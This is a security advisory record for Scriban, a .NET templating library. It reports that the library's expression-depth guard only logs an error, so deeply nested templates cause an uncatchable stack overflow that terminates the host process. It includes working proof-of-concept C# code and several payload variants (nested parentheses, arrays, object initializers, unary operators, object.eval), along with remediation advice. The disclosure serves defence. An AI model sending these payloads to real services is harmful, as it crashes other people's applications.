{"id":"GHSA-6q7j-xr26-3h2c","title":"Scriban: ExpressionDepthLimit guard is non-enforcing — parser-recursion DoS in 6.6.0–7.2.0 (incomplete fix for GHSA-wgh7-7m3c-fx25 / GHSA-p6q4-fgr8-vx4p)","summary":"Scriban: ExpressionDepthLimit guard is non-enforcing — parser-recursion DoS in 6.6.0–7.2.0 (incomplete fix for GHSA-wgh7-7m3c-fx25 / GHSA-p6q4-fgr8-vx4p)","severity":"medium","cwe":["CWE-674"],"vendor":"Scriban","product":"Scriban","ecosystem":"nuget","affected":["Scriban >= 6.6.0, <= 7.2.0"],"patched":["Scriban 7.2.1"],"published":"2026-06-26","updated":"2026-06-26","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-6q7j-xr26-3h2c","references":[{"url":"https://github.com/scriban/scriban/security/advisories/GHSA-6q7j-xr26-3h2c"},{"url":"https://github.com/advisories/GHSA-6q7j-xr26-3h2c"}],"tags":["ghsa","nuget"],"ingestedAt":"2026-06-29T13:24:35.245Z","slug":"GHSA-6q7j-xr26-3h2c","body":"## Overview\n\n### Summary\n\nThe `ExpressionDepthLimit` parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting `StackOverflowException` is **uncatchable** in .NET and **immediately terminates the host process**.\n\nAny application that parses an attacker-influenced template — or that passes attacker-controlled strings to `object.eval` / `object.eval_template` — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (`Template.Parse`) and Liquid (`Template.ParseLiquid`) syntax modes, which share the same expression parser.\n\nThis re-opens two advisories that were reported as fixed: **GHSA-wgh7-7m3c-fx25** (\"Uncontrolled recursion in parser → StackOverflow\", reported fixed in 6.6.0) and **GHSA-p6q4-fgr8-vx4p** (\"StackOverflow via nested array initializers bypasses ExpressionDepthLimit\", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. **All releases 6.6.0 through 7.2.0 (current) are affected.**\n\n### Details\n\nThe depth guard is `EnterExpression()` in `src/Scriban/Parsing/Parser.Expressions.cs`:\n\n```csharp\n// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218\nprivate void EnterExpression()\n{\n    _expressionDepth++;\n    var limit = Options.ExpressionDepthLimit;\n    if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit)\n    {\n        LogError(GetSpanForToken(Previous), $\"The statement depth limit `{limit}` was reached when parsing this statement\");\n        _isExpressionDepthLimitReached = true;\n    }\n}\n```\n\nWhen the limit is exceeded it calls `LogError(...)` and sets a flag. It does **not** throw, does **not** return a sentinel, and does **not** unwind the parse. `LogError` here uses the default `isFatal: false`, so it merely appends a message and sets `HasErrors` — parsing proceeds:\n\n```csharp\n// src/Scriban/Parsing/Parser.cs:476-488\nprivate void Log(LogMessage logMessage, bool isFatal = false)\n{\n    Messages.Add(logMessage);\n    if (logMessage.Type == ParserMessageType.Error)\n    {\n        HasErrors = true;\n        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path\n    }\n}\n```\n\nThe flag `_isExpressionDepthLimitReached` is consulted **only** to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (`grep -rn \"_isExpressionDepthLimitReached\" src/`): it appears in exactly four places — the field declaration (`Parser.cs:40`), a reset to `false` (`Parser.cs:106`), and within `EnterExpression` the dedup test (`Parser.Expressions.cs:1213`) and its assignment to `true` (`:1216`). The only *read* is the dedup test on line 1213; nothing else reads it. `ParseExpression` calls `EnterExpression()` and then continues straight into the token switch with no flag check:\n\n```csharp\n// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182\nEnterExpression();\ntry\n{\n    ...\n    case TokenType.OpenParen:\n        leftOperand = ParseParenthesis();   // recurses back into ParseExpression\n```\n\n```csharp\n// src/Scriban/Parsing/Parser.Expressions.cs:984-1001\nprivate ScriptExpression ParseParenthesis()\n{\n    var expression = Open<ScriptNestedExpression>();\n    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);\n    expression.Expression = ExpectAndParseExpression(expression);  // -> ParseExpression -> ParseParenthesis -> ...\n    ...\n}\n```\n\nBoth `Template.Parse` (Scriban-native) and `Template.ParseLiquid` (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.\n\nSo for input nested N levels deep, the parser recurses N levels deep regardless of `ExpressionDepthLimit`. There is no `RuntimeHelpers.EnsureSufficientExecutionStack()` call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises `StackOverflowException`, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.\n\nThe same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: `ParseArrayInitializer` was wrapped in `EnterExpression()/LeaveExpression()`, but because `EnterExpression()` only logs, the array path still overflows.\n\nThe existing regression tests only assert `HasErrors == true` at a nesting depth of ~20 with a limit of 10 (`src/Scriban.Tests/TestParser.cs`); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.\n\n**Runtime reachability without template injection:** `object.eval` / `object.eval_template` (`src/Scriban/Functions/ObjectFunctions.cs:72-155`) re-parse a string argument at render time using `Template.Parse(...)`. An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into `object.eval`. The `catch (Exception)` inside `Eval` cannot intercept the `StackOverflowException`.\n\n### PoC\n\nA single console project reproduces it on the released NuGet package.\n\n`poc.csproj`:\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n  <PropertyGroup>\n    <OutputType>Exe</OutputType>\n    <TargetFramework>net8.0</TargetFramework>\n    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->\n  </PropertyGroup>\n  <ItemGroup>\n    <PackageReference Include=\"Scriban\" Version=\"7.2.0\" />\n  </ItemGroup>\n</Project>\n```\n\n`Program.cs`:\n```csharp\nusing Scriban;\n\nint n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack\nstring tpl = \"{{ \" + new string('(', n) + \"1\" + new string(')', n) + \" }}\";\n\nSystem.Console.WriteLine($\"Parsing template with {n} nested parentheses (default ParserOptions)...\");\nTemplate.Parse(tpl);                 // <-- process is killed here\nSystem.Console.WriteLine(\"Parse returned without crashing\"); // never reached\n```\n\nRun:\n```sh\ndotnet run -c Release\n```\n\nObserved output (process aborts; shell exit code 134 = SIGABRT):\n```\nParsing template with 8000 nested parentheses (default ParserOptions)...\nStack overflow.\n   at Scriban.Parsing.Parser.ParseParenthesis()\n   at Scriban.Parsing.Parser.ParseExpression(...)\n   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)\n   at Scriban.Parsing.Parser.ParseParenthesis()\n   ... (repeats until the stack is exhausted)\n```\n\nAdditional confirmations (same crash / exit 134), substituting the template body in `Program.cs`:\n\nThe explicit limit is ignored — still crashes:\n```csharp\nTemplate.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });\n```\n\nArray initializers (the GHSA-p6q4 path):\n```csharp\nstring tpl = \"{{ \" + new string('[', n) + \"1\" + new string(']', n) + \" }}\";\nTemplate.Parse(tpl);  // crashes identically\n```\n\nObject initializers `{x:{x:...{x:1}...}}`:\n```csharp\nvar b = new System.Text.StringBuilder();\nfor (int i = 0; i < n; i++) b.Append(\"{x:\");\nb.Append('1');\nb.Append('}', n);\nTemplate.Parse(\"{{ \" + b + \" }}\");  // crashes identically\n```\n\nUnary operators:\n```csharp\nstring tpl = \"{{ \" + new string('!', n) + \"true\" + \" }}\";\nTemplate.Parse(tpl);  // crashes identically\n```\n\nLiquid syntax mode (shares the same expression parser):\n```csharp\nstring tpl = \"{{ \" + new string('(', n) + \"1\" + new string(')', n) + \" }}\";\nTemplate.ParseLiquid(tpl);  // crashes identically\n```\n\nRuntime via `object.eval`, with a fully trusted outer template — verified end-to-end: the outer parse reports `HasErrors == false`, then `Render()` crashes the process and the surrounding `try/catch` never fires (the `StackOverflowException` is uncatchable):\n```csharp\nusing Scriban;\n\nint n = 8000;\nstring deep = new string('(', n) + \"1\" + new string(')', n);\nstring outer = \"{{ \\\"\" + deep + \"\\\" | object.eval }}\";\n\nSystem.Console.WriteLine($\"Outer template length = {outer.Length} chars.\");\nvar t = Template.Parse(outer);\nSystem.Console.WriteLine($\"Outer parsed. HasErrors = {t.HasErrors}\");\nSystem.Console.WriteLine(\"Rendering (object.eval re-parses the inner string at runtime)...\");\ntry\n{\n    t.Render();\n    System.Console.WriteLine(\"Render returned without crashing\");\n}\ncatch (System.Exception e)\n{\n    System.Console.WriteLine($\"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)\");\n}\n```\n\nVerified against clean NuGet installs of Scriban **6.6.0, 7.0.0, 7.1.0, and 7.2.0** (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (`HasErrors == false`, no crash).\n\n### Impact\n\n- **Type:** Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable `StackOverflowException` and full process termination.\n- **Severity:** CVSS 3.1 `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` = **7.5 (High)** — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.\n- **Who is impacted:** Any application that calls `Template.Parse` / `Template.ParseLiquid` (or `Template.Render` on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to `object.eval` / `object.eval_template`, even when its own templates are trusted.\n- **Why the existing mitigation does not help:** `ExpressionDepthLimit` (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a `StackOverflowException`, callers cannot defend with `try/catch` either — the process is lost.\n- **Affected versions:** 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.\n\n**Suggested remediation:** make the limit actually stop descent — e.g. throw a parse exception from `EnterExpression()` when the limit is exceeded (or log with `isFatal: true` and have the parse loop honor `_hasFatalError` by unwinding). As defense in depth, call `RuntimeHelpers.EnsureSufficientExecutionStack()` at the entry of `ParseExpression` (the same technique already used in `object.to_json`), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking `HasErrors` at depth 20.\n\n## Affected packages\n\n- `Scriban >= 6.6.0, <= 7.2.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `Scriban 7.2.1`","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}